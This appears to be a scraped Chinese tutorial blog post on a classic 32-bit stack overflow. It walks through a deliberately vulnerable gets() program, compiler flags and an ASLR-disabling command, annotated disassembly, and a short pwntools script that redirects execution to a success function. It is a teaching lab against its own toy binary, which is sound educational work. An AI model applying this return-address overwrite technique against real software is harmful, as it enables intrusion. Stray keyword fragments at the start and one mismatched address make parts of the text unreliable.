网站开发中用到的英文单词,搜索引擎营销案例有哪些,中山网站制作网页,现在有什么网站做设计或编程兼职文章目录 前言一、基本示例二、分析栈1. 先不考虑gets函数的栈情况2. 分析gets函数的栈区情况 三、利用栈1. 构造字符串2. 利用漏洞 前言
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数#xff0c;因而导致与其相邻的栈中的变量的值被改变。… 文章目录 前言一、基本示例二、分析栈1. 先不考虑gets函数的栈情况2. 分析gets函数的栈区情况 三、利用栈1. 构造字符串2. 利用漏洞 前言
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞类似的还有堆溢出bss 段溢出等溢出方式。 一、基本示例
最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址当然需要确保这个地址所在的段具有可执行权限。
#include stdio.h
#include string.hvoid success(void)
{puts(You Hava already controlled it.);
}void vulnerable(void)
{char s[12];gets(s);puts(s);return;
}int main(int argc, char **argv)
{vulnerable();return 0;
}这个程序的主要目的读取一个字符串并将其输出。我们希望可以控制程序执行 success 函数。
我们进行编译gcc -m32 -fno-stack-protector stack_example.c -o stack_example -no-pie 编译器会警告gets函数因为它是一个危险函数从不检查输入字符串的长度。
gcc 编译指令中-m32 指的是生成 32 位程序 -fno-stack-protector 指的是不开启堆栈溢出保护即不生成 canary。 此外为了更加方便地介绍栈溢出的基本利用方式这里还需要关闭 PIEPosition Independent Executable避免加载基址被打乱。
修改/proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否具体的选项有
0关闭 ASLR没有随机化。栈、堆、.so 的基地址每次都相同。1普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化但是堆基地址没有随机化。2增强的 ASLR在 1 的基础上增加了堆基地址随机化。
echo 0 /proc/sys/kernel/randomize_va_space 关闭 Linux 系统的 ASLR
利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。
int vulnerable()
{char s; // [sp4h] [bp-14h]1gets(s);return puts(s);
}public vulnerable
.text:000011D8 vulnerable proc near ; CODE XREF: main10↓p
.text:000011D8
.text:000011D8 s byte ptr -14h ; 在栈上分配一个名为 s 的局部缓冲区大小为 20 字节0x14h
.text:000011D8 var_4 dword ptr -4 ; 一个名为 var_4 的局部变量
.text:000011D8
.text:000011D8 ; __unwind {
.text:000011D8 push ebp ; 保存上一个栈帧的基指针
.text:000011D9 mov ebp, esp ; 为当前栈帧设置新的基指针
.text:000011DB push ebx ; 保存 EBX 寄存器的值调用者保存寄存器
.text:000011DC sub esp, 14h ; 在栈上为局部缓冲区 s 分配 20 字节的空间
.text:000011DF call __x86_get_pc_thunk_bx ; 获取指令地址然后jmp
.text:000011E4 add ebx, 2DF0h ; 调用者改变 EBX 寄存器的值
.text:000011EA sub esp, 0Ch ; 调用约定清理栈
.text:000011ED lea eax, [ebps] ; 将 s 的地址加载到 EAX
.text:000011F0 push eax ; 将 s 的地址作为参数推入栈中供 gets() 使用
.text:000011F1 call _gets ; 调用 gets() 读取字符串到 s存在缓冲区溢出风险
.text:000011F6 add esp, 10h ; 调用约定清理栈
.text:000011F9 sub esp, 0Ch ; 调用约定平栈
.text:000011FC lea eax, [ebps] ; 再次将 s 的地址加载到 EAX
.text:000011FF push eax ; 将 s 的地址作为参数推入栈中供 puts() 使用
.text:00001200 call _puts ; 调用 puts() 打印字符串
.text:00001205 add esp, 10h ; 调用约定清理栈
.text:00001208 nop
.text:00001209 mov ebx, [ebpvar_4]; 恢复保存的 EBX 寄存器值
.text:0000120C leave ; 清理栈帧相当于 mov esp, ebp 后跟 pop ebp
.text:0000120D retn ; 从函数返回
.text:0000120D ; } // starts at 11D8
.text:0000120D vulnerable endp其实看汇编代码比较好理解点如果有阅读障碍建议出门右转C/C学习中的函数调用机制和调用约定。
二、分析栈
我们只分析开始到gets函数调用完的栈。
1. 先不考虑gets函数的栈情况
未调用vul函数 调用vul函数保存原来的EIP PUSH EBP MOV EBP,ESP PUSH EAX SUB ESP,14H ADD ESP,OCH
PUSH EAX
ADD ESP,10H ,SUB ESP,0CH
2. 分析gets函数的栈区情况
那么我们从将s的地址赋给EAX开始分析。
然后调用 gets() 读取字符串到 ‘s’。这里要知道缓冲区填充数据是由低往高地址增长。 而EBP到EBP-14H这块缓冲区域在上面图自然是从上往下填充数据的。
这就有个问题了如果把EBP到EBP-14H这块缓冲区区域填充满并继续填数据会发生什么 很自然就是把后面的区域也给覆盖了。这就是所谓的栈溢出。
三、利用栈
1. 构造字符串
那么我们就知道如何利用所谓的栈溢出了。如果EBP开辟的局部变量区域填充满然后用双字填充EBP的保存地址再用suceess的地址覆盖掉原来的返回地址。然后gets调用完返回的地址就是suceess的地址。
那么我们要构造的字符串为
0x14*abbbbsuccess_addr当然如果是局部变量溢出的话覆盖的顺序应该先为返回地址然后才是EBP。
局部变量区域是由ESP和EBP往高地址开辟的而缓冲区是由ESP和EBP往低地址开辟的有所区别。
2. 利用漏洞
我们可以通过 IDA 获得 success 的地址其地址为 0x08049186。
这里稍微注意下一般情况以小端存储那么 0x000011AD 在内存中的形式为
\x86\x91\x04\x08在终端输入的时候 \x 等也算一个单独的字符。时我们就需要使用 pwntools 。
于是Payload如下
##codingutf8
from pwn import *
## 构造与程序交互的对象
sh process(./stack_example)
success_addr 0x08049186
## 构造payload
payload ba * 0x14 bbbbb p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()